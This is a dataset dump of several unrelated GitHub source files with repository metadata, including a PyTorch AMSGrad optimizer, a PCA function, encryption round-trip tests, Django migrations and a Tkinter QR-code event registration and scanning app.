self.name = "Hersheys Kisses"
self.max_durability = 9001
self.durability = 9001
self.inv_slot = inv
def lose_durability(self):
pass
class sour_straws(Item) :
def __init__(self, inv) :
self.name = "Sour Straws"
self.max_durability = 2
self.durability = 2
self.inv_slot = inv
class chocolate_bars(Item) :
def __init__(self, inv) :
self.name = "Chocolate Bars"
self.max_durability = 4
self.durability = 4
class nerd_bombs(Item) :
def __init__(self, inv) :
self.name = "Nerd Bombs"
self.max_durability = 1
self.durability = 1
self.inv_slot = inv
| [
"noreply@github.com"
] | ghuizenga.noreply@github.com |
7a06df65bbaae64fd9ecbf76bb2480bf468a18c2 | 2b42b40ae2e84b438146003bf231532973f1081d | /spec/mgm4458983.3.spec | 5ca4f04f24e0cf6983e0d97f1038bad1c47f41fd | [] | no_license | MG-RAST/mtf | 0ea0ebd0c0eb18ec6711e30de7cc336bdae7215a | e2ddb3b145068f22808ef43e2bbbbaeec7abccff | refs/heads/master | 2020-05-20T15:32:04.334532 | 2012-03-05T09:51:49 | 2012-03-05T09:51:49 | 3,625,755 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 14,694 | spec | {
"id": "mgm4458983.3",
"metadata": {
"mgm4458983.3.metadata.json": {
"format": "json",
"provider": "metagenomics.anl.gov"
}
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"description": null,
"size": 80,
"type": "txt",
"url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458983.3/file/999.done.sims.stats"
},
"999.done.species.stats": {
"compression": null,
"description": null,
"size": 21667,
"type": "txt",
"url": "http://api.metagenomics.anl.gov/analysis/data/id/mgm4458983.3/file/999.done.species.stats"
}
},
"id": "mgm4458983.3",
"provider": "metagenomics.anl.gov",
"providerId": "mgm4458983.3"
}
},
"raw": {
"mgm4458983.3.fna.gz": {
"compression": "gzip",
"format": "fasta",
"provider": "metagenomics.anl.gov",
"url": "http://api.metagenomics.anl.gov/reads/mgm4458983.3"
}
}
} | [
"jared.wilkening@gmail.com"
] | jared.wilkening@gmail.com |
be328f37bac951c2c72b62235422e71d7b99017c | a2fae6522c0526e81032d700e750dbc4b55e308b | /twemoir/lib/states2/__init__.py | ad34e59f727359c8bb1bafd873c6013ba561029b | [
"BSD-2-Clause"
] | permissive | fish2000/django-twemoir | e895039e4ecd0a01baa9e35002fe0e00e20f6a4f | 8caa7e5319055f54e0d89457780605994622e8d9 | refs/heads/master | 2020-06-05T13:16:47.036385 | 2014-01-21T02:42:30 | 2014-01-21T02:42:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | '''
State engine for django models.
Define a state graph for a model and remember the state of each object.
State transitions can be logged for objects.
'''
#: The version list
VERSION = (1, 4, 4)
def get_version():
'''
Converts the :attr:`VERSION` into a nice string
'''
if len(VERSION) > 3 and VERSION[3] not in ('final', ''):
return '%s.%s.%s %s' % (VERSION[0], VERSION[1], VERSION[2], VERSION[3])
else:
return '%s.%s.%s' % (VERSION[0], VERSION[1], VERSION[2])
#: The actual version number, used by python (and shown in sentry)
__version__ = get_version()
| [
"fish2000@gmail.com"
] | fish2000@gmail.com |
2d8d470c1d8cbab3be51e06075b1a6e0a3def72a | eab841eaaae1df828a05fc6b5197b735d9a03925 | /testplatform/migrations/0001_initial.py | 58fb22c66f6ea31bb4cd36458e4f7b64e6dcd0d5 | [] | no_license | kangkai1314/simulator | e694c6e4f57761c800d3553e213b6e810d3e082c | a73c3ed687cd50ccc58639235e1212b97083705d | refs/heads/master | 2020-04-01T01:24:23.329315 | 2019-06-26T09:20:33 | 2019-06-26T09:20:33 | 152,737,092 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 712 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-10-17 11:22
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='TestPoint',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('test_id', models.IntegerField(db_index=True, unique=True)),
('type', models.CharField(default='normal', max_length=100)),
('value', models.CharField(max_length=100)),
],
),
]
| [
"1253393765@qq.com"
] | 1253393765@qq.com |
7b8361506701672b1a23c14b7e23bcca40d4f534 | 33afe0e97eb40f439682c28b0c029d4db1047f7b | /DoublePendulum/__init__.py | 20a5949eba5fc143315be5c765be833051512427 | [] | no_license | Minerkow/Double_pendulum_modulation | 458ba037ae3e6dd8162a783f5ac6ac3fd9bd76b3 | c15f7d616013d6a2535919e74b1b020e527732af | refs/heads/main | 2023-05-01T15:30:57.846984 | 2021-05-18T09:51:51 | 2021-05-18T09:51:51 | 366,128,281 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | __all__ = ['Calculation', 'Draw', 'Render'] | [
"melnikov.ignat@phystech.edu"
] | melnikov.ignat@phystech.edu |
6099014e481a612795f1c1a3462f65dc5c056a64 | 8c715df0c4a0bfb5408ea515fc42e28f48366ab6 | /amsgradw.py | 59cc1ef686b67985f6697c2eea697a4d31c12e43 | [] | no_license | zwcdp/fashion-classifier | 9e2cf7982a142ada42cc53aef310190a7c539c9f | db0f266e037fe5eb9adf35b2b5387e34e3a1d818 | refs/heads/master | 2020-04-19T08:10:50.446127 | 2017-12-21T18:10:24 | 2017-12-21T18:10:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,872 | py | import math
#from ..torch_imports import *
import torch
from torch.optim import Optimizer
class AMSGradW(Optimizer):
"""Implements AMSGrad with fixed weight decay"""
def __init__(self, params, lr=0.0005, betas=(0.9, 0.999), eps=1e-8,
weight_decay=0):
defaults = dict(lr=lr, betas=betas, eps=eps,
weight_decay=weight_decay)
super(AMSGradW, self).__init__(params, defaults)
def step(self, closure=None):
"""Performs a single optimization step."""
loss = None
if closure is not None:
loss = closure()
for group in self.param_groups:
for p in group['params']:
if p.grad is None:
continue
grad = p.grad.data
state = self.state[p]
# State initialization
if len(state) == 0:
state['step'] = 0
# Exponential moving average of gradient values
state['exp_avg'] = grad.new().resize_as_(grad).zero_()
# Exponential moving average of squared gradient values
state['exp_avg_sq'] = grad.new().resize_as_(grad).zero_()
exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']
beta1, beta2 = group['betas']
state['step'] += 1
# to preserve maximal second moments
exp_avg_sq_old = exp_avg_sq.clone()
# for Weight Decay
data_old = p.data.clone()
# Decay the first and second moment running average coefficient
# m_t = B1 * m_t-1 + (1 - B1) * grad
exp_avg.mul_(beta1).add_(1 - beta1, grad)
# v_t = B2 * v_t-1 + (1 - B2) * grad^^2
exp_avg_sq.mul_(beta2).addcmul_(1 - beta2, grad, grad)
bias_correction1 = 1 - beta1 ** state['step']
bias_correction2 = 1 - beta2 ** state['step']
# Apply bias_correction1
step_size = group['lr'] / bias_correction1
# Apply bias_correction2 and take the max values
# v_t_hat = v_t / bias_correction2
exp_avg_sq.div(bias_correction2)
# Keep the maximum of current and past squared gradients (main feature of AMSGrad)
# v_t_hat = max(v_t_hat, v_t-1_hat)
exp_avg_sq = torch.max(exp_avg_sq, exp_avg_sq_old)
# denominator = sqrt(v_t_hat) + epsilon
denom = exp_avg_sq.sqrt().add_(group['eps'])
# Change weights
p.data.addcdiv_(-step_size, exp_avg, denom)
# group['weight_decay'] is externally decayed
p.data = p.data.add(-group['weight_decay'], data_old)
return loss
| [
"kennivich@gmail.com"
] | kennivich@gmail.com |
46b1e5157ab927f5cf441af52490723e1d448632 | d452e34253561a47b974e260dabd8dcda6e750a2 | /unsupervised_learning/0x00-dimensionality_reduction/0-pca.py | 739e7c1866a674e0f51ec93dfdd3ee6b953d63c2 | [] | no_license | JohnCook17/holbertonschool-machine_learning | 57fcb5b9d351826c3e3d5478b3b4fbe16cdfac9f | 4200798bdbbe828db94e5585b62a595e3a96c3e6 | refs/heads/master | 2021-07-07T10:16:21.583107 | 2021-04-11T20:38:33 | 2021-04-11T20:38:33 | 255,424,823 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 513 | py | #!/usr/bin/env python3
"""PCA of an array to reduce the number of features"""
import numpy as np
def pca(X, var=0.95):
"""performs pca on a matrix"""
W, V = np.linalg.eig(np.matmul(X.T, X))
W_idx = W.argsort()[::-1]
V = V[:, W_idx]
# print(V)
V_var = np.copy(V)
V_var *= 1 / np.abs(V_var).max()
# print(V_var)
V_idx = V[np.where(np.abs(V_var) >= var, True, False)]
# print(V_idx.shape)
V_idx = len(V_idx)
# print(V[:, :V_idx].shape)
return V[:, :V_idx] * -1.
| [
"jcook0017@gmail.com"
] | jcook0017@gmail.com |
46c61bb76012d57e00ff1f1e762fe9ef6c1731eb | 95fd6bb4126edbd36a79ba87b8cb4f0e2149e4e1 | /tests/test_pyca.py | bdab377dc1090dbe408f12da0b97db5995796cc4 | [
"MIT"
] | permissive | secondguard/secondguard-python | a091357932ffa55e0bae74149c552781d87a3493 | 392d33ee40a9982ad912210152f4b2d44fa5ef1a | refs/heads/master | 2022-12-10T11:31:31.972938 | 2020-08-04T16:23:47 | 2020-08-04T16:23:47 | 277,826,214 | 6 | 1 | MIT | 2022-12-08T11:05:21 | 2020-07-07T13:36:49 | Python | UTF-8 | Python | false | false | 1,416 | py | from base64 import b64decode
from os import urandom
from secondguard.pyca import (
symmetric_encrypt,
symmetric_decrypt,
asymmetric_encrypt,
asymmetric_decrypt,
)
# TODO: move to a setup class?
from tests.utils import PUBKEY_STR, PRIVKEY_STR, _fetch_testing_pubkey
# TODO: come up with less HACKey way to test many times
# TODO: add static decrypt test vectors
def perform_symmetric_encryption_decryption(num_bytes=1000):
secret = urandom(num_bytes)
ciphertext, key = symmetric_encrypt(secret)
recovered_secret = symmetric_decrypt(ciphertext=ciphertext, key=key)
assert secret == recovered_secret
def test_symmetric(cnt=100):
for attempt in range(cnt):
perform_symmetric_encryption_decryption(num_bytes=attempt * 100)
def perform_asymmetric_encryption_decryption(rsa_privkey, rsa_pubkey, secret):
ciphertext_b64 = asymmetric_encrypt(bytes_to_encrypt=secret, rsa_pubkey=PUBKEY_STR)
assert len(b64decode(ciphertext_b64)) == 512
recovered_secret = asymmetric_decrypt(
ciphertext_b64=ciphertext_b64, rsa_privkey=PRIVKEY_STR
)
assert secret == recovered_secret
def test_asymmetric(cnt=10):
for _ in range(cnt):
# This represents the info you're trying to protect:
secret = urandom(64)
perform_asymmetric_encryption_decryption(
rsa_privkey=PRIVKEY_STR, rsa_pubkey=PUBKEY_STR, secret=secret
)
| [
"mflaxman@gmail.com"
] | mflaxman@gmail.com |
60785f79498697d6edf009b2f1ee6138968b9605 | 02c8fd3edca29fd7398881759b137138c4561363 | /App/disc/legacy2/WinQRPCom5_test.py | 0df1f1de0dbb9a27dd5e4ab8cdebbe82a6cac8b1 | [] | no_license | Sharad-Jain-24/ERM-Minor-Project | 1ffeda7451fb7a49fc6924dd43a2b8c8103788be | d46409b1cf9dfcd26f563a81a04fcfbe9030a937 | refs/heads/main | 2023-08-27T12:56:33.508485 | 2021-09-26T08:47:28 | 2021-09-26T08:47:28 | 410,498,652 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,851 | py | #importing libraries & modules
import os
import re
import cv2
import time
import random
import pyqrcode
import numpy as np
import tkinter as tk
import pyzbar.pyzbar as pyzbar
from tkinter import *
from tkinter import ttk
from tkinter import messagebox
from PIL import ImageTk, Image
from openpyxl.styles import colors
from openpyxl.styles.colors import *
from openpyxl import Workbook, load_workbook
from openpyxl.styles import Font, Color, PatternFill
#path for excel file
path = "./data/regdata.xlsx"
#QR Scanner code
def QRScan():
#start device camera
cap = cv2.VideoCapture(0)
cap.set(3,640)
cap.set(4,480)
time.sleep(2)
#find content of QR
def decode(im):
decodedObjects = pyzbar.decode(im)
return decodedObjects
font = cv2.FONT_HERSHEY_SIMPLEX
#check if data of scanned QR in excel
def regbk(bar):
wb = load_workbook(path)
ws = wb.active
for row in ws.iter_rows():
for cell in row:
bar = bar.replace("'","")
value = cell.value + "'"
if(cell.value == bar):
print(cell.coordinate)
cell.fill = PatternFill(bgColor="00FF00", fill_type="solid")
cell.font = Font(color="00FF00")
wb.save(path)
#check if data of scanned QR in SQL
def regdb():
print ("Sharad")
"""
iss function se connect kar existing SQL db se,
aur check kar if data being scanned db mei hai ya nahi,
if present add present in present column
and scanner wale hull ka color green
if already marked present hull color red,
GUI alert pop karva.
"""
#scan the QR
def app():
decodedObject = ""
while(cap.isOpened()):
ret, frame = cap.read()
im = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
decodedObjects = decode(im)
for decodedObject in decodedObjects:
points = decodedObject.polygon
if len(points) > 4 :
hull = cv2.convexHull(np.array([point for point in points], dtype=np.float32))
hull = list(map(tuple, np.squeeze(hull)))
else :
hull = points;
n = len(hull)
for j in range(0,n):
cv2.line(frame, hull[j], hull[ (j+1) % n], (255,0,0), 3)
x = decodedObject.rect.left
y = decodedObject.rect.top
cv2.putText(frame, str(decodedObject.data), (x, y), font, 1, (0,255,255), 2, cv2.LINE_AA)
cv2.imshow('frame', frame)
key = cv2.waitKey(1)
if key & 0xFF == ord('q'):
cap.release()
cv2.destroyAllWindows()
break
elif key & 0xFF == ord('s'):
if (bar != "") or (bar is not None):
iname = "./scan/" + bar + ".png"
else:
iname = "./scan/" + random.randint(1, 101) + ".png"
cv2.imwrite(iname, frame)
barCode = str(decodedObject.data)
barC = barCode.split('-')
bar = barC[1]
regbk(bar)
regdb()
app()
cap.release()
cv2.destroyAllWindows()
#code to register & generate QR for participant
def QRP():
#codde for GUI of QR generator
def QRGen():
global screen5
gcolor = "#161a2d"
screen5 = Toplevel(screen4)
screen5.title("QR Generator")
screen5.geometry("675x425")
screen5.resizable(False, False)
screen5.config(background=gcolor)
screen5.focus_force()
label = Label(screen5, text="Event Registration", bg=gcolor, font=("Times New Roman", 20, 'bold'))
label.configure(foreground="white", anchor="center")
label.grid(row=0, column=2, padx=5, pady=5, columnspan=4)
label = Label(screen5, text="Enter Name : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=1, column=1, padx=5, pady=10)
screen5.entry = Entry(screen5, width=30, textvariable=qrName)
screen5.entry.grid(row=1, column=2, padx=5, pady=10, columnspan=2)
screen5.entry.focus_set()
label = Label(screen5, text="Enter Phno : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=2, column=1, padx=5, pady=10)
screen5.entry = Entry(screen5, width=30, textvariable=qrphno)
screen5.entry.grid(row=2, column=2, padx=5, pady=10, columnspan=2)
label = Label(screen5, text="Enter Email : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=3, column=1, padx=5, pady=10)
screen5.entry = Entry(screen5, width=30, textvariable=qrmail)
screen5.entry.grid(row=3, column=2, padx=5, pady=10, columnspan=2)
label = Label(screen5, text="1st Event Name : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=4, column=1, padx=5, pady=10)
label = Label(screen5, text="2nd Event Name : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=5, column=1, padx=5, pady=10)
screen5.entry1 = ttk.Combobox(screen5, width=27, textvariable=qrevent1)#, state="readonly")
screen5.entry1.grid(row=4, column=2, padx=5, pady=10, columnspan=2)
screen5.entry1['values'] = () #add data from db here
screen5.entry1.current()
screen5.entry2 = ttk.Combobox(screen5, width=27, textvariable=qrevent2)#, state="readonly")
screen5.entry2.grid(row=5, column=2, padx=5, pady=10, columnspan=2)
screen5.entry2['values'] = () #add data from db here
screen5.entry2.current()
label = Label(screen5, text="QR Code : ", bg=gcolor)
label.configure(foreground="white")
label.grid(row=6, column=1, padx=5, pady=10)
button = Button(screen5, width=10, text="Generate", command=QRCodeGenerate)
button.grid(row=6, column=2, padx=5, pady=10, columnspan=1)
screen5.bind('<Return>', lambda event=None: button.invoke())
buton = Button(screen5, width=10, text="Clear", command=QRClear)
buton.grid(row=6, column=3, padx=5, pady=10, columnspan=1)
screen5.imageLabel = Label(screen5, background=gcolor)
screen5.imageLabel.grid(row=1, column=4, rowspan=6, columnspan=3, padx=(10,5), pady=10)
image = Image.open("./resc/wait.png")
image = image.resize((350, 350), Image.ANTIALIAS)
image = ImageTk.PhotoImage(image)
screen5.imageLabel.config(image=image)
screen5.imageLabel.photo = image
#code for clearing values of GUI fields
def QRClear():
qrName.set("")
qrphno.set("")
qrmail.set("")
qrevent1.set("")
qrevent2.set("")
image = Image.open("./resc/done.png")
image = image.resize((350, 350), Image.ANTIALIAS)
image = ImageTk.PhotoImage(image)
screen5.imageLabel.config(image=image)
screen5.imageLabel.photo = image
#code to generate QR with participant data
def QRCodeGenerate():
if (qrName.get() != '') and (qrphno.get() != '') and (qrmail.get() != '') and (qrevent1.get() != ''):
if (len(qrphno.get()) == 10):
rege = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
if(re.search(rege,qrmail.get())):
content = qrName.get() + "-" + qrphno.get()
qrGenerate = pyqrcode.create(content)
qrCodePath = './data/'
qrCodeName = qrCodePath + qrphno.get() + ".png"
qrGenerate.png(qrCodeName, scale=10)
image = Image.open(qrCodeName)
image = image.resize((350, 350), Image.ANTIALIAS)
image = ImageTk.PhotoImage(image)
screen5.imageLabel.config(image=image)
screen5.imageLabel.photo = image
QRdatamgSQL()
QRdatamgXL()
else:
messagebox.showerror("ALERT", "Invalid Email ID")
else:
messagebox.showerror("ALERT", "Invalid Phone Number")
else:
messagebox.showerror("ALERT", "Fields Incomplete")
#code add participant ddata to excel sheet
def QRdatamgXL():
wb = load_workbook(path)
sheet = wb.active
row = ((qrName.get(), qrphno.get(), qrmail.get(), qrevent1.get()))
sheet.append(row)
wb.save(path)
#code add participant ddata to SQL
def QRdatamgSQL():
print("SHARAD")
"""
ek new function bana to check if data
being entered is already in db.
ek new function bana for SQL db creation,
iss function se SQL db connection and
add collected data to database.
database ke table mei 5 columns rakh,
4 for collected data, 1 for marking present.
add if to check if email already in db,
if yes give GUI prompt to confirms
"""
#code initializing varaibles of GUI
qrName = StringVar()
qrphno = StringVar()
qrmail = StringVar()
workbook = Workbook()
qrevent1 = StringVar()
qrevent2 = StringVar()
QRGen()
#code to maintain event list
"""
sharad please decide how you want this function to work
"""
def eventmgm():
global screen6
#clear fields
def clrevent():
evename.set("")
evedate.set("")
evetime.set("")
#add events to database
def addevent():
if (adevent.get() != "") and (adeveti.get() != "") and (adevedt.get() != ""):
print("add event to SQL")
#add entered event in db
else:
messagebox.showerror("ALERT", "Fields Incomplete")
#remove events from database
def remevent():
if (adevent.get() != "") and (adeveti.get() != "") and (adevedt.get() != ""):
print("remove event from sql")
#remove entered event from db
else:
messagebox.showerror("ALERT", "Fields Incomplete")
#GUI code for event manager
evename = StringVar()
evetime = StringVar()
evedate = StringVar()
screen6 = Toplevel(screen4)
screen6.title("Event Manager")
screen6.geometry("390x190")
screen6.resizable(False, False)
screen6.config(background="green")
screen6.focus_force()
label = Label(screen6, text="Event Management", bg="green", font=("Times New Roman", 20, 'bold'))
label.configure(foreground="white", anchor="center")
label.grid(row=0, column=1, padx=(17,0), pady=(10,15), columnspan=4)
lbl = Label(screen6, text="Event Name", bg="green")
lbl.configure(foreground="white")
lbl.grid(row=1, column=1, padx=(40,5), pady=5, columnspan=1)
adevent = Entry(screen6, width='17', textvariable=evename)
adevent.grid(row=1, column=2, padx=5, pady=5, columnspan=1)
adevent.focus_set()
lbl = Label(screen6, text="Event Date", bg="green")
lbl.configure(foreground="white")
lbl.grid(row=2, column=1, padx=(40,5), pady=5, columnspan=1)
adeveti = Entry(screen6, width='17', textvariable=evedate)
adeveti.grid(row=2, column=2, padx=5, pady=5, columnspan=1)
lbl = Label(screen6, text="Event Time", bg="green")
lbl.configure(foreground="white")
lbl.grid(row=3, column=1, padx=(40,5), pady=5, columnspan=1)
adevedt = Entry(screen6, width='17', textvariable=evetime)
adevedt.grid(row=3, column=2, padx=5, pady=5, columnspan=1)
nbt = Button(screen6, text="Clear", command=clrevent, width='13')
nbt.grid(row=1, column=3, padx=5, pady=5, columnspan=2)
nbt = Button(screen6, text="Add Event", command=addevent, width='13')
nbt.grid(row=2, column=3, padx=5, pady=5, columnspan=2)
nbt = Button(screen6, text="Remove Event", command=remevent, width='13')
nbt.grid(row=3, column=3, padx=5, pady=5, columnspan=2)
#code to monitor app close event
def on_closing():
screen4.deiconify()
screen6.destroy()
screen6.protocol("WM_DELETE_WINDOW", on_closing)
#code to manage organizer/user tasks
def mgm_page():
#GUI for organizer management
screen3.withdraw()
global screen4, background_label
screen4 = Toplevel(screen3)
screen4.title("Select")
screen4.geometry("250x258")
screen4.resizable(False, False)
screen4.config(background=colr)
screen4.focus_force()
btn = Button(screen4, width=15, borderwidth=0, text="QR Generator", command=QRP)
btn.grid(row=1, column=1, padx=5, pady=5, columnspan=1)
btn.place(relx=0.5, rely=0.25, anchor=N)
bnt = Button(screen4, width=15, borderwidth=0, text="QR Scanner", command=QRScan)
bnt.grid(row=2, column=1, padx=5, pady=5, columnspan=1)
bnt.place(relx=0.5, rely=0.5, anchor=CENTER)
tbn = Button(screen4, width=15, borderwidth=0, text="Event Management", command=eventmgm)
tbn.grid(row=3, column=1, padx=5, pady=5, columnspan=1)
tbn.place(relx=0.5, rely=0.75, anchor=S)
screen4.bind("<Control-g>", lambda event=None: btn.invoke())
screen4.bind("<Control-s>", lambda event=None: bnt.invoke())
screen4.bind("<Control-e>", lambda event=None: tbn.invoke())
#code to monitor app close event
def on_closing():
screen1.destroy()
screen4.protocol("WM_DELETE_WINDOW", on_closing)
"""
sharad please optimize organizer registration &
login technique as you see fit.
"""
#GUI & code for login & signup
def main_page():
global username_verify, password_verify, username1, password1
#code to clear login data fields after successful login
def clrlogin():
username_verify.set("")
password_verify.set("")
username_entry1.focus_set()
mgm_page()
#code to organizer management
def register_user():
#code to monitor screen1 close event
def on_closing():
#screen1_5.destroy()
screen2.destroy()
screen1.deiconify()
screen2.protocol("WM_DELETE_WINDOW", on_closing)
#user add success
def disab():
global screen1_5
screen1_5 = Toplevel(screen1)
screen1_5.title("Success")
screen1_5.geometry("490x145")
screen1_5.resizable(False, False)
screen1_5.config(background="green")
screen1_5.focus_force()
#code to call login success screen
def calllog():
screen1_5.destroy()
screen2.destroy()
adminlogin()
label = Label(screen1_5, text="", bg="green")
label.grid(row=1, column=1)
label = Label(screen1_5, text="Registeration Success", width='30', bg="green", font=("Times New Roman", 20, 'bold'))
label.configure(foreground="white")
label.grid(pady=5, row=2, column=1, columnspan=1)
bttn = Button(screen1_5, text="OK", width="15", command=calllog)
bttn.grid(pady=5, row=3, column=1, columnspan=1)
screen1_5.bind('<Return>', lambda event=None: bttn.invoke())
#check if password is strong
if re.fullmatch(r'[A-Za-z0-9@#$%^&+=]{8,}', password.get()):
username_info = username.get()
password_info = password.get()
file = open(username_info, "w")
file.write(username_info+"\n")
file.write(password_info)
file.close()
disab()
else:
messagebox.showerror("ALERT", "Password not Strong")
#GUI code for adding organizer
def register():
global screen2, labl, buutn, username, password, username_entry, password_entry, emailid, phno, rights, emailid_entry, phno_entry, perm_entry, opt1_entry, opt2_entry, regbtn
screen2 = Toplevel(screen1)
screen2.title("Register")
screen2.geometry("500x310")
screen2.resizable(False, False)
screen2.config(background=colr)
screen3.focus_force()
screen1.withdraw()
username = StringVar()
password = StringVar()
emailid = StringVar()
phno = StringVar()
rights = StringVar()
def valinp():
if (username_entry.get() != "") and (emailid_entry.get() != "") and (phno_entry.get() != "") and (password_entry.get() != "") and (perm_entry.get() != "Select"):
if (len(phno_entry.get()) == 10):
rege = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'
if(re.search(rege, emailid_entry.get())):
if re.fullmatch(r'[A-Za-z0-9@#$%^&+=]{8,}', password.get()):
register_user()
else:
messagebox.showerror("ALERT", "Password not Strong")
else:
messagebox.showerror("ALERT", "Invalid Email")
else:
messagebox.showerror("ALERT", "Invalid Phone Number")
else:
messagebox.showerror("ALERT", "Fields Incomplete")
labl = Label(screen2, text="Please enter user information", width="30", bg=colr)
labl.configure(foreground="white", font=("Times New Roman", 20, 'bold'))
labl.grid(row=1, column=1, padx=5, pady=5, columnspan=2)
labl = Label(screen2, text="Username", width='30', bg=colr)
labl.configure(foreground="white")
labl.grid(row=2, column=1, padx=5, pady=5, columnspan=1)
username_entry = Entry(screen2, textvariable=username)
username_entry.grid(row=3, column=1, padx=5, pady=5, columnspan=1)
username_entry.focus_set()
labl = Label(screen2, text="Email ID", width='30', bg=colr)
labl.configure(foreground="white")
labl.grid(row=2, column=2, padx=5, pady=5, columnspan=1)
emailid_entry = Entry(screen2, textvariable=emailid)
emailid_entry.grid(row=3, column=2, padx=5, pady=5, columnspan=1)
labl = Label(screen2, text="Phone Number", width='30', bg=colr)
labl.configure(foreground="white")
labl.grid(row=4, column=1, padx=5, pady=5, columnspan=1)
phno_entry = Entry(screen2, textvariable=phno)
phno_entry.grid(row=5, column=1, padx=5, pady=5, columnspan=1)
labl = Label(screen2, text="Password", width='30', bg=colr)
labl.configure(foreground="white")
labl.grid(row=4, column=2, padx=5, pady=5, columnspan=1)
password_entry = Entry(screen2, show="*", textvariable=password)
password_entry.grid(row=5, column=2, padx=5, pady=5, columnspan=1)
labl = Label(screen2, text="", width="30", bg=colr)
labl.grid(row=6, column=1, padx=5, pady=5, columnspan=2)
labl = Label(screen2, text="Permission : ", width='30', bg=colr)
labl.configure(foreground="white")
labl.grid(row=7, column=1, padx=5, pady=5, columnspan=1)
perm_entry = ttk.Combobox(screen2, textvariable=rights, width="17", values=["Select", "Admin", "User"], state="readonly")
perm_entry.current(0)
perm_entry.grid(row=7, column=2, columnspan=1, pady=5)
labl = Label(screen2, text="", bg=colr)
labl.grid(row=8, column=1, columnspan=2)
regbtn = Button(screen2, text="Sumbit", width='18', command=valinp)
regbtn.grid(row=9, column=1, padx=5, pady=5, columnspan=2)
screen2.bind('<Return>', lambda event=None: regbtn.invoke())
#code to monitor screen2 close event
def on_closing():
screen3.deiconify()
screen2.destroy()
screen2.protocol("WM_DELETE_WINDOW", on_closing)
#GUI if data of admin
def adminlogin():
screen3.geometry("360x125")
label = Label(screen3, text="Login Success", width='30', bg="green")
label.configure(foreground="white", font=("Times New Roman", 16, 'bold'))
label.grid(row=1, column=1, pady=5, columnspan=1)
bttnn = Button(screen3, text="OK", width="15", command=clrlogin)
bttnn.grid(row=2, column=1, pady=5, columnspan=1)
bttn = Button(screen3, text="Add Organizer", width="15", command=register)
bttn.grid(row=3, column=1, pady=5, columnspan=1)
screen3.bind('<Return>', lambda event=None: bttnn.invoke())
screen3.bind("<Control-a>", lambda event=None: bttn.invoke())
#GUI if data of user
def userlogin():
screen3.geometry("360x90")
label = Label(screen3, text="Login Success", width='30', bg="green")
label.configure(foreground="white", font=("Times New Roman", 16, 'bold'))
label.grid(row=1, column=1, pady=5)
bttn = Button(screen3, text="OK", width="10", command=clrlogin)
bttn.grid(row=2, column=1, pady=5)
screen3.bind('<Return>', lambda event=None: bttn.invoke())
#code for organizer details verification
def login_verify():
screen1.withdraw()
global screen3
screen3 = Toplevel(screen1)
screen3.title("Info")
screen3.geometry("150x30")
screen3.resizable(False, False)
screen3.config(background="green")
screen3.focus_force()
#code to monitor screen3 close event
def on_closing():
clrlogin()
screen1.deiconify()
screen3.destroy()
screen3.protocol("WM_DELETE_WINDOW", on_closing)
#validate input
username1 = username_verify.get()
password1 = password_verify.get()
list_of_dir = os.listdir()
if username1 in list_of_dir:
file = open (username1, "r")
verify = file.read().splitlines()
if (password1 and "Admin") in verify:
adminlogin()
elif password1 in verify:
userlogin()
else:
on_closing()
messagebox.showerror("ALERT", "Invalid Password")
else :
on_closing()
messagebox.showerror("ALERT", "Invalid User")
#code for login GUI
def login():
global screen1, username_verify, password_verify, username_entry1
screen1 = Tk()
screen1.title("Login")
screen1.geometry("430x300")
screen1.config(background=colr)
screen1.resizable(False, False)
username_verify = StringVar()
password_verify = StringVar()
label = Label(text="", bg=colr)
label.grid(row=1, column=1)
label = Label(text="Please Enter your Login \nInformation", width='30', bg=colr)
label.configure(foreground="white", font=("Times New Roman", 18, 'bold'))
label.grid(row=2, column=1, padx=5, pady=5, columnspan=1)
label = Label(text="Username : ", width='30', bg=colr)
label.configure(foreground="white")
label.grid(row=4, column=1, padx=25, pady=5, columnspan=1)
username_entry1 = Entry(width="21", textvariable=username_verify)
username_entry1.grid(row=5, column=1, padx=5, pady=5, columnspan=1)
username_entry1.focus_set()
label = Label(text="Password : ", width='30', bg=colr)
label.configure(foreground="white")
label.grid(row=6, column=1, padx=5, pady=5, columnspan=1)
password_entry1 = Entry(width='21', show="*", textvariable=password_verify)
password_entry1.grid(row=7, column=1, padx=5, pady=5, columnspan=1)
label = Label(text="", bg=colr)
label.grid(row=8, column=1)
btnn = Button(text="Login", width="18", command=login_verify)
btnn.grid(row=9, column=1, padx=5, pady=5, columnspan=1)
screen1.bind('<Return>', lambda event=None: btnn.invoke())
#monitor app close
def on_closing(event):
sys.exit()
screen1.bind('<Escape>', on_closing)
screen1.mainloop()
login()
global colr
colr = "#1c44a5"
main_page()
| [
"mp.sharadjain24@gmail.com"
] | mp.sharadjain24@gmail.com |
